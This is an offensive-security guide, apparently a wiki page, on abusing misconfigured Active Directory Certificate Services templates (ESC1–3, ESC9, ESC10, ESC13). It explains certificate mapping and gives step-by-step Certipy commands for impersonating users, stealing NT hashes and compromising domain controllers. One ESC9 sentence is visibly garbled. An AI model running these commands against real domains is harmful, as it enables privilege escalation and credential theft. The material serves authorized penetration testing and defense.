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Certificate templates

Theory

Template theory

AD CS Enterprise CAs issue certificates with settings defined by AD objects known as certificate templates. These templates are collections of enrollment policies and predefined certificate settings and contain things like “How long is this certificate valid for?”, “What is the certificate used for?”, “How is the subject specified?”, “Who is allowed to request a certificate?”, and a myriad of other settings

[...]

There is a specific set of settings for certificate templates that makes them extremely vulnerable. As in regular-domain-user-to-domain-admin vulnerable.

(specterops.io)

In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on certificate template misconfigurations (dubbed ESC1, ESC2 and ESC3).

Following this, Olivier Lyak has found two new template misconfigurations (dubbed ESC9 and ESC10).

Certificate mapping

This section is dedicated to how a certificate is mapped to an account object (after Certifried patch). Understanding certificate mapping is pretty useful to understand ESC9 and ESC10.

Following CVE-2022–26923 (Certifried) discovered by Olivier Lyak, Microsoft has implemented a new security extension for the issued certificates, and two new registry keys to properly deal with certificate mapping.

  • The szOID_NTDS_CA_SECURITY_EXT extension contains the objectSid of the requester

  • The StrongCertificateBindingEnforcement registry key is used for Kerberos implicit mapping

  • The CertificateMappingMethods registry key is used for Schannel implicit mapping

Mapping a certificate to a user can be done explicitly or implicitly:

  • For explicit mapping, the altSecurityIdentities attribute of an account must contains the identifier of the certificate. This way, for authentication the certificate must be signed by a trusted CA and match the altSecurityIdentities value

  • For implicit mapping, this is the information contained in the certificate's SAN that are used to map with the DNS or the UPN (userPrincipalName) field

Kerberos mapping

During Kerberos authentication, the certificate mapping process will call the StrongCertificateBindingEnforcement registry key. This key can be equal to three values:

  • 0: no strong certificate mapping is realised. The new szOID_NTDS_CA_SECURITY_EXT extension is not check and the authentication behavior is similar to what was done before the patch

  • 1: default value after the patch. The KDC checks if the explicit certificate mapping is present (strong mapping). If yes, the authentication is allowed; if no, it checks if the new security extension is present and validate it. If it is not present, the authentication can be allowed if the user account predates the certificate

  • 2: the KDC checks if the explicit certificate mapping is present (strong mapping). If yes, the authentication is allowed; if no, it checks if the new security extension is present and validate it. If it is not present, the authentication is refused

If the registry key value is 0 and the certificate contains an UPN value (normally for a user account), the KDC will first try to map the certificate to a user with a userPrincipalName value that matches. If no validation can be performed, the KDC will search an account with a matching sAMAccountName property. If none can be found, it will retry with a $ at the end of the username. Thus, a certificate with a UPN can be mapped to a machine account.

If the registry key value is 0 and the certificate contains an DNS value (normally for a machine account), the KDC splits the user and the domain part, i.e. user.domain.local becomes user and domain.local. The domain part is validated against the Active Directory domain, and the user part is validated adding a $ at the end, and searching for an account with a corresponding sAMAccountName.

If the registry key value is 1 or 2, the szOID_NTDS_CA_SECURITY_EXT security extension will be used to map the account using its objectSid. With a registry key equals to 1 and no security extension presents, the mapping behavior is similar to a registry key equal to 0.

Schannel mapping

During Kerberos authentication, the certificate mapping process will call the CertificateMappingMethods registry key. This key can be a combinaison of the following values:

  • 0x0001: subject/issuer explicit mapping

  • 0x0002: issuer explicit mapping

  • 0x0004: SAN implicit mapping

  • 0x0008: S4USelf implicit Kerberos mapping

  • 0x0010: S4USelf explicit Kerberos mapping

The current default value is 0x18 (0x8 and 0x10). Schannel doesn't support the new szOID_NTDS_CA_SECURITY_EXT security extension directly, but it can use it by "converting" the Schannel certificate mapping to a Kerberos certificate mapping using S4USelf. Then, the mapping will be performed as presented in the Kerberos mapping section.

If some certificate authentication issues are encountered in an Active Directory, Microsoft has officially suggested to set the CertificateMappingMethods value to 0x1f (old value).

Issuance policies

It is possible to apply issuance policies to certificate templates. This takes the form of a certificate extension, and is stored as an OID (object identifier) in the msPKI-Certificate-Policy attribute of the template. When the CA issues the certificate, the policy is added to the "Certificate Policies" attribute of the certificate. A template stores required policies in the msPKI-RA-Policies attribute.

An issuance policy can be set up by a company, for example, for access control: a system can require a user to present a certificate with a given policy in order to guarantee that the system only grants access to authorised users. Issuing policies are msPKI-Enterprise-Oid objects found in the PKI OID container (CN=OID,CN=Public Key Services,CN=Services, in the Configuration Naming Context).

This object has an msDS-OIDToGroupLink attribute which allows a policy to be linked to an AD group so that a system can authorise a user presenting the certificate as if he were a member of this group. As explained by Jonas Bülow Knudsen in his ADCS ESC13 article.

If you perform client authentication with the certificate, then you will receive an access token specifying the membership of this group.

(specterops.io)

Practice

Template allows SAN (ESC1)

When a certificate template allows to specify a subjectAltName, it is possible to request a certificate for another user. It can be used for privileges escalation if the EKU specifies Client Authentication or ANY.

From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC1 and ESC2 scenarios.

Once a vulnerable template is found (how to enumerate), a request shall be made to obtain a certificate.

#To specify a user account in the SAN
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'

#To specify a computer account in the SAN
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'vulnerable template' -dns 'dc.domain.local'

The $ADCS_HOST target must be a FQDN (not an IP).

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

Any purpose EKU (ESC2)

When a certificate template specifies the Any Purpose EKU, or no EKU at all, the certificate can be used for anything. ESC2 can't be abused like ESC1 if the requester can't specify a SAN, however, it can be abused like ESC3 to use the certificate as requirement to request another one on behalf of any user.

Certificate Agent EKU (ESC3)

When a certificate template specifies the Certificate Request Agent EKU, it is possible to use the issued certificate from this template to request another certificate on behalf of any user.

From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC3 scenario. It is possible to output the result in an archive that can be uploaded in Bloodhound.

certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -vulnerable

Once a vulnerable template is found (how to enumerate), a request shall be made to obtain a certificate specifying the Certificate Request Agent EKU.

certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'vulnerable template'

Then, the issued certificate can be used to request another certificate permitting Client Authentication on behalf of another user.

certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'User' -on-behalf-of 'domain\domain admin' -pfx 'user.pfx'

By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

No security extension (ESC9)

To understand this privilege escalation, it is recommended to know how certificate mapping is performed. It is presented in this section.

If the certificate attribute msPKI-Enrollment-Flag contains the flag CT_FLAG_NO_SECURITY_EXTENSION, the szOID_NTDS_CA_SECURITY_EXT extension will not be embedded, meaning that even with StrongCertificateBindingEnforcement set to 1, the mapping will be performed similarly as a value of 0 in the registry key.

Here are the requirements to perform ESC9:

  • StrongCertificateBindingEnforcement not set to 2 (default: 1) or CertificateMappingMethods contains UPN flag (0x4)

  • The template contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value

  • The template specifies client authentication

  • GenericWrite right against any account A to compromise any account B

Acate can then be used with to obtain a TGT and authenticat the time of writting (06/08/2022), there is no solution as a low privileged user to read the StrongCertificateBindingEnforcement or the CertificateMappingMethods values. It is worth to try the attack hopping the keys are misconfigured.

From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC9 scenario.

In this scenario, user1 has GenericWrite against user2 and wants to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

First, the user2's hash is needed. It can be retrieved via a Shadow Credentials attack, for example.

certipy shadow auto -username "user1@$DOMAIN" -p "$PASSWORD" -account user2

Then, the userPrincipalName of user2 is changed to user3.

certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn user3

The vulnerable certificate can be requested as user2.

certipy req -username "user2@$DOMAIN" -hash "$NT_HASH" -target "$ADCS_HOST" -ca 'ca_name' -template 'vulnerable template'

The user2's UPN is changed back to something else.

certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn "user2@$DOMAIN"

Now, authenticating with the obtained certificate will provide the user3's NT hash during UnPac the hash. The domain must be specified since it is not present in the certificate.

certipy auth -pfx 'user3.pfx' -domain "$DOMAIN"

By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS

Weak certificate mapping (ESC10)

To understand this privilege escalation, it is recommended to know how certificate mapping is performed. It is presented in this section.

This ESC refers to a weak configuration of the registry keys:

  • Case 1 :

    • StrongCertificateBindingEnforcement set to 0, meaning no strong mapping is performed

    • A template that specifiy client authentication is enabled (any template, like the built-in User template)

    • GenericWrite right against any account A to compromise any account B

At the time of writting (06/08/2022), there is no solution as a low privileged user to read the StrongCertificateBindingEnforcement value. It is worth to try the attack hopping the key is misconfigured.

From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC10 scenario.

In this scenario, user1 has GenericWrite against user2 and want to compromise user3.

First, the user2's hash is needed. It can be retrieved via a Shadow Credentials attack, for example.

certipy shadow auto -username "user1@$DOMAIN" -p "$PASSWORD" -account user2

Then, the userPrincipalName of user2 is changed to user3.

certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn user3

A certificate permitting client authentication can be requested as user2.

certipy req -username "user2@$DOMAIN" -hash "$NT_HASH" -ca 'ca_name' -template 'User'

The user2's UPN is changed back to something else.

certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn "user2@$DOMAIN"

Now, authenticating with the obtained certificate will provide the user3's NT hash with UnPac the hash. The domain must be specified since it is not present in the certificate.

certipy auth -pfx 'user3.pfx' -domain "$DOMAIN"

By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS

  • Case 2 :

    • CertificateMappingMethods is set to 0x4, meaning no strong mapping is performed and only the UPN will be checked

    • A template that specifiy client authentication is enabled (any template, like the built-in User template)

    • GenericWrite right against any account A to compromise any account B without a UPN already set (machine accounts or buit-in Administrator account for example)

At the time of writting (06/08/2022), there is no solution as a low privileged user to read the CertificateMappingMethods value. It is worth to try the attack hopping the key is misconfigured.

From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC10 scenario.

In this scenario, user1 has GenericWrite against user2 and want to compromise the domain controller DC$@domain.local.

First, the user2's hash is needed. It can be retrieved via a Shadow Credentials attack, for example.

certipy shadow auto -username "user1@$DOMAIN" -p "$PASSWORD" -account user2

Then, the userPrincipalName of user2 is changed to DC$@domain.local.

certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn "DC\$@$DOMAIN"

A certificate permitting client authentication can be requested as user2.

certipy req -username "user2@$DOMAIN" -hash "$NT_HASH" -ca 'ca_name' -template 'User'

The user2's UPN is changed back to something else.

certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn "user2@$DOMAIN"

Now, authentication with the obtained certificate will be performed through Schannel. The -ldap-shell option can be used to execute some LDAP requests and, for example, realised an RBCD to fully compromised the domain controller.

certipy auth -pfx dc.pfx -dc-ip "$DC_IP" -ldap-shell

By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS

Issuance policiy with privileged group linked (ESC13)

For a group to be linked to an issuance policy via msDS-OIDToGroupLink it must meet two requirements:

  • Be empty

  • Have a universal scope, i.e. be "Forest Wide". By default, "Forest Wide" groups are "Enterprise Read-only Domain Controllers", "Enterprise Key Admins", "Enterprise Admins" and "Schema Admins"

So, if a user or a computer can enroll on a template that specifies an issuance policy linked to a highly privileged group, the issued certificate privilegies will be mapped to those of the group.

To exploit ESC13, here are the requirements:

  • The controlled principal can enroll to the template and meets all the required issuance policies

  • The template specifies an issuance policy

  • This policy is linked to a privileged groups via msDS-OIDToGroupLink

  • The template allows the Client Authentication in its EKU

  • All the usual requirements

From UNIX-like systems, this pull request on Certipy (Python) permits to identify a certificate template with an issuance policy, i.e. with the msPKI-Certificate-Policy property not empty. Additionally, it verifies if this issuance policy has an OID group link to a group in the property msDS-OIDToGroupLink.

certipy find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'

If a vulnerable template is found, there is no particular issuance requirement, the principal can enroll, and the template indicates the Client Authentication EKU, request a certificate for this template with Certipy (Python) as usual:

certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate as the controlled principal, but with its privileges added to those of the linked group.

Resources

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